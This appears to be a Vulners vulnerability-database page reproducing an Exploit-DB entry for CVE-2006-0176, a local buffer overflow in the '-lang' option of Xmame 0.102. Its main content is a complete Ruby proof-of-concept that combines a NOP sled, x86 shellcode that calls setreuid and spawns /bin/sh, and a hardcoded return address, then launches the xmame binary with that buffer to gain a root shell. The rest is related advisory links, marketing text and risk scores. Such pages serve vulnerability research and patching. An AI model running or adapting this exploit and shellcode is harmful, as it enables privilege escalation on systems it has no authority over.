Lucene search
+L

Xmame 0.102 - '-lang' Local Buffer Overflow

🗓️ 10 Jan 2006 00:00:00Reported by xwingsType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 124 Views

Xmame 0.102 '-lang' Local Buffer Overflow Po

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2006-0176
11 Jan 200621:00
cve
Cvelist
CVE-2006-0176
11 Jan 200621:00
cvelist
Exploit DB
Xmame 0.102 - 'lang' Local Buffer Overflow
13 Jan 200600:00
exploitdb
EUVD
EUVD-2006-0184
7 Oct 202500:30
euvd
NVD
CVE-2006-0176
11 Jan 200621:03
nvd
Prion
Buffer overflow
11 Jan 200621:03
prion
UbuntuCve
CVE-2006-0176
11 Jan 200621:03
ubuntucve
#!/usr/bin/ruby

#
# One of the PoC code for xmame "-lang" options.
# Advisory is base on : http://kerneltrap.org/node/6055
#
# by xwings at mysec dot org
# url : http://www.mysec.org , new website

# Tested on :
# Linux debian24 2.4.27-2-386 #1 Mon May 16 16:47:51 JST 2005 i686 GNU/Linux
# gcc version 4.0.3 20060104 (prerelease) (Ubuntu 4.0.2-6ubuntu1)
# xmame 0.102 , ./configure && make && make install
#


#setreuid(geteuid(),geteuid()) execl(); executes /bin//sh 49 bytes.
shellcode =     "\x31\xc9\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0"+
                "\x46\xcd\x80\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"+
                "\x6e\x89\xe3\x51\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xb0\x01"+
                "\x31\xdb\xcd\x80"

vulnpath        = "/usr/games/xmame.x11"
argvopt         = "-lang"

ret = (0xbfffe8da)
retadd  = ([ret].pack('V'))

nops    = ("\x90" * (1056 - (shellcode.length + retadd.length)))
buffer  = nops+shellcode+retadd

system(vulnpath,argvopt,buffer)

# milw0rm.com [2006-01-10]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jun 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.01006
124